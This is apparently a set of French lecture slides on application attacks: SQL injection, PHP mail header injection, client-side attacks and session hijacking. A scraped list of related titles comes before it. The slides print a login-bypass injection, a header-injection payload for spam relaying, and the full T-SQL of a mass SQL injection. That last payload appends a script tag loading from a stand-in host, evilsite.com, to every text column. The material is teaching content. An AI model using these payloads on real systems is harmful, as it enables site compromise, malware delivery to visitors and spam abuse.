Attaques applicatives



Documents pareils
Configurer la supervision pour une base MS SQL Server Viadéis Services

Introduction. PHP = Personal Home Pages ou PHP Hypertext Preprocessor. Langage de script interprété (non compilé)

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

MS SQL Express 2005 Sauvegarde des données

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Module BD et sites WEB

Formulaire pour envoyer un mail

Vulnérabilités et sécurisation des applications Web

Mysql. Les requêtes préparées Prepared statements

Gestion de stock pour un magasin

TP JAVASCRIPT OMI4 TP5 SRC

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Création de formulaires interactifs

PHP et les Bases de données - Généralités

Formulaires et Compteurs

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

CREATION WEB DYNAMIQUE

Sécurité des applications Retour d'expérience

Langage propre à Oracle basé sur ADA. Offre une extension procédurale à SQL

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

L3 informatique TP n o 2 : Les applications réseau

Méthode de Test. Pour WIKIROUTE. Rapport concernant les méthodes de tests à mettre en place pour assurer la fiabilité de notre projet annuel.

JAB, une backdoor pour réseau Win32 inconnu

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

PDO : PHP Data Object 1/13

Installation d'un serveur FTP géré par une base de données MySQL

La programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2)

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

Système Normalisé de Gestion des Bibliothèques -SYNGEB : version Réseau-

SYSTÈMES D INFORMATIONS

Programmation Web. Madalina Croitoru IUT Montpellier

La mémorisation des mots de passe dans les navigateurs web modernes

INSTALLATION DE L APPLICATION DU CONTEXTE ITASTE

Mysql avec EasyPhp. 1 er mars 2006

Bases de SQL. Hacks 1-6 CHAPITRE UN

Pratique et administration des systèmes

SQL Parser XML Xquery : Approche de détection des injections SQL

Vulnérabilités et solutions de sécurisation des applications Web

Sécurité des applications web. Daniel Boteanu

CAHIER DES CHARGES D IMPLANTATION

ITSR43 : INGÉNIERIE DES SYSTÈMES D INFORMATION Benoît Darties INTRODUCTION NOTION D INFORMATION QUELLES DONNÉES? EXPLOITATION DES DONNÉES

Partie I : Créer la base de données. Année universitaire 2008/2009 Master 1 SIIO Projet Introduction au Décisionnel, Oracle

PHP. Bertrand Estellon. 26 avril Aix-Marseille Université. Bertrand Estellon (AMU) PHP 26 avril / 214

PHP 4 PARTIE : BASE DE DONNEES

Module Administration BD Chapitre 1 : Surcouche procédurale dans les SGBDS

Mise en place d un serveur Proxy sous Ubuntu / Debian

Tous les autres noms de produits ou appellations sont des marques déposées ou des noms commerciaux appartenant à leurs propriétaires respectifs.

Bases de Données et Internet

les techniques d'extraction, les formulaires et intégration dans un site WEB

Gestion de base de données

Attaques de type. Brandon Petty

Sécurité des Applications Web Comment Minimiser les Risques d Attaques les plus Courants

webmestre : conception de sites et administration de serveurs web 42 crédits Certificat professionnel CP09

Protection des protocoles

Les formations. ENI Ecole Informatique

Licence de MIDO - 3ème année Spécialités Informatique et Mathématiques Appliquées

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009

Sécurité des bases de données Nicolas Jombart Alain Thivillon

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

Manuel d'installation

PHP 5. La base de données MySql. A. Belaïd 1

Procédures Stockées WAVESOFT ws_sp_getidtable Exemple : ws_sp_getnextsouche Exemple :... 12

INFORMATIQUE & WEB. PARCOURS CERTIFICAT PROFESSIONNEL Programmation de sites Web. 1 an 7 MODULES. Code du diplôme : CP09

Single Sign-On open source avec CAS (Central Authentication Service) Vincent Mathieu Pascal Aubry Julien Marchal

Stockage du fichier dans une table mysql:

Présentation de la solution Open Source «Vulture» Version 2.0

TP JEE Développement Web en Java. Dans ce TP nous commencerons la programmation JEE par le premier niveau d une application JEE : l application web.

Activités HTML. Code: act-html

NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web

Sécurisation d une application ASP.NET

Dossier Technique. Détail des modifications apportées à GRR. Détail des modifications apportées à GRR Le 17/07/2008. Page 1/10

Architectures web/bases de données

Les Triggers SQL. Didier DONSEZ. Université de Valenciennes Institut des Sciences et Techniques de Valenciennes

DÉVELOPPER DES APPLICATIONS WEB SÉCURISÉES

A.E.C. GESTION DES APPLICATIONS TECHNOLOGIE DE L'INFORMATION LEA.BW

Bases de données et Interfaçage Web

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Java et les bases de données: JDBC: Java DataBase Connectivity SQLJ: Embedded SQL in Java. Michel Bonjour

Maarch Framework 3 - Maarch. Tests de charge. Professional Services. 11, bd du Sud Est Nanterre

Devoir Data WareHouse

Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.

//////////////////////////////////////////////////////////////////// Administration bases de données

Sommaire Accès via un formulaire d'identification... 4 Accès en mode SSO... 5 Quels Identifiant / mot de passe utiliser?... 6

Sommaire. 1 Introduction Présentation du logiciel de commerce électronique 23

Laboratoires de bases de données. Laboratoire n 6. Programmation SQL. par Danièle BAYERS et Louis SWINNEN

Chapitre 1 Windows Server

Apprendre à gérer son serveur web grâce à Windows Server 2008 R2

WEB 2.0 : Vulnerabilty Reloaded!

Le langage SQL (première partie) c Olivier Caron

Les solutions de paiement CyberMUT (Crédit Mutuel) et CIC. Qui contacter pour commencer la mise en place d une configuration de test?

Les sites Internet dynamiques. contact : Patrick VINCENT pvincent@erasme.org

Hébergement de site web Damien Nouvel

Bases de données avancées

Jérôme FESSY. IUT de Paris 5. Base de Données. Cours Introductif. Base de Données

Gérer ses environnements de développement avec Vagrant RMLL 2012

Installation SQL Server 2005 Express sur le serveur

Transcription:

Attaques applicatives

Attaques applicatives Exploitation d une mauvaise programmation des applications Ne touche pas le serveur lui-même mais son utilisation/ configuration Surtout populaire pour les sites webs/serveurs d applications Attaques principales Injection de code Par faute logicielle, à ce niveau code interprété Exploitation d une mauvaise configuration Données indexées par google!

Injection de code Amener l application à exécuter du code soumis par l attaquant Possible car contrôle insuffisant des paramètres Mauvaise utilisation des paramètres Attaque reine SQL Injection

Injection SQL Les paramètres fournis contiennent des expressions SQL Exemple Formulaire de login avec deux champs name et password Requête pour vérifier si l utilisateur existe SELECT uid WHERE name = 'Dupont' AND password = '45723a2af3788c4ff17f8d1114760e62'" Si un attaquant s appelle Dupont --" La requête devient" SELECT uid WHERE name = 'Dupont -- ' AND password = '45723a2af3788c4ff17f8d1114760e62'" Ce qui est toujours vrai..."

Injection SQL physique :-)

Autres injections Tout ce qui est interprété PHP, Ruby, Perl pour les CGI,... Solutions Tester les paramètres Ne pas les évaluer Il n y a aucune raison pour cela! Mauvaise pratique de programmation Application aux injections SQL

Injection PHP <form method="post" action="mailing.php"> A: webmaster@monsite.com De: <input type="text" name="expediteur"> Sujet : <input type="text" name="sujet"> Message : <textarea name="message" rows="10" cols="60" lines="20"></textarea> <input type="submit" name="send" value="envoyer"> </form> <?php // mailing.php : $to="webmaster@monsite.com"; $from=$_post["expediteur"]; if (mail($to,$_post["sujet"],$_post["message"],"from: $from\n")){ echo "Votre mail a bien été envoyé à $to"; }else{ echo "Votre mail n'a pas pu être envoyé."; }?>

Injection PHP (2) Attaque : From: (expediteur) -> "myemail@anonyme.com%0acc: email1@site1.com%0abcc:email2@site2.com,email3@site3.com" Subject: (sujet) -> "Ceci est mon sujet" (message) -> "Un message" Le mail envoyé est To: webmaster@monsite.com Subject: Ceci est mon sujet From: myemail@anonymous.com Cc:email1@site1.com Bcc:email2@site2.com,email3@site3.com Un message Et donc envoi de spams possible en utilisant le formulaire

Attaque sur les clients Buts des attaquants Compromettre la machine (zombifier) Voler les données (typiquement banquaires) Normalement, pas de services ouverts Ou alors problème de configuration! Quelles portes d entrée? Les applications! Pleines de bugs prêts à être exploités! Portes d entrée vers le système et ses bibliothèques Comment exploiter ces bugs? L attaquant doit contrôler ce qui est fourni aux applications

Attaque sur les clients (2) Applications visées Mailer Browser web Ce sont des machines virtuelles donc faciles à programmer Suites applicatives Souvent avec des langages inclus Vecteurs d attaques Pages webs Mails documents

Attaque sur les clients (3) Amener les clients à accéder aux données des attaquants Adresse web à suivre Documents à ouvrir... Techniques de social engineering il faut que les messages soient suffisamment alléchants

Attaque sur les clients (4) Attaques par les réseaux aussi Prendre des données et/ou des droits Vol de session Objectif de l attaquant : usurper l utilisateur après son authentification Sessions stockées de différentes manières @IP : inadaptée au NAT, vol par déconnexion Cookie : vol si communication espionnée Identificateur de session stocké dans l URL http://www.amazon.fr/gp/feature.html/ref=amb_link_81475465_2? ie=utf8&docid=1000227633&pf_rd_m=a1x6fk5rdhnb96&pf_rd_s=center-0&pf_rd_r=15mzy44emkj VFARAJYS4&pf_rd_t=101&pf_rd_p=463993173&pf_rd_i=405320

La faille de la semaine À peu près 500000 sites victimes SQL injection «générique» pour IIS, ADO, SQL Server avec ASP Causes Programmeurs peu expérimentés (pas de tests des paramètres) «Puissance» de la chaîne logicielle qui permet d injecter un code compliqué Conséquences Infection automatique de la base de données Ajout d un javascript qui sera chargé par tous les clients Compromission des clients Fusée à deux étages : exploitation

DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; La faille de la semaine (2), le code de l exploit

La faille de la semaine Buffer overflow dans l affichage des images Sous windows Format WMF Conséquences Compromission totale de la machine Avec les droits de l utilisateur Vecteur d attaque Tout moyen d afficher une image Historique Publié à Noël 2005 A provoqué l apparition d un patch hors timing